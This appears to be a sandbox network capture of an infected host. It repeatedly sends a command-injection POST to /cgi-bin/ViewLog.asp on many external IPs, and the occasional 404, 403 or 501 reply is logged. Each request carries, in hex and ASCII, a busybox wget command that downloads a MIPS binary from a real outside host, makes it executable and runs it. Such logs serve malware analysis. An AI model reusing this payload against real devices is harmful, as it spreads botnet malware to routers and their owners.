Nov 23, 2023 05:16:28.875801086 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.13	49394	85.122.217.78	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:28.888938904 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.13	51276	31.200.40.207	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:32.369426012 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.13	39280	62.72.166.241	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:32.496649981 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.13	34082	95.86.85.64	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:32.729989052 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.13	44952	31.220.67.183	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:32.791497946 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.13	52226	94.121.70.153	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:32.823349953 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.13	60152	31.200.35.93	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:32.849488974 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.13	51166	62.202.152.179	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:33.358797073 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:37.414433956 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:43.558475018 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.13	57588	94.120.19.221	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:33.377729893 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.13	46362	62.56.245.224	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:33.405499935 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.13	34070	95.86.85.64	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:33.407830000 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.13	40248	31.173.123.50	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:33.460207939 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:33.758929014 CET	530	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 09:16:32 GMT Server: Webs X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Cache-Control: no-store Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.13	42390	85.240.107.115	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:36.820509911 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.13	41074	62.171.177.155	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:40.245472908 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.13	50668	94.125.123.132	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:40.266135931 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:40.489428043 CET	375	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 23 Nov 2023 04:16:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.13	44114	31.13.239.4	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:40.268248081 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:40.495704889 CET	313	IN	HTTP/1.1 501 Not Implemented Connection: Keep-Alive Content-Length: 121 Date: Thu, 23 Nov 2023 04:16:25 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.13	57714	95.158.132.76	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:40.495049000 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:40.720305920 CET	278	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.13	59838	94.121.131.194	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:40.678746939 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.13	58950	31.136.24.183	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:40.864105940 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:41.446451902 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
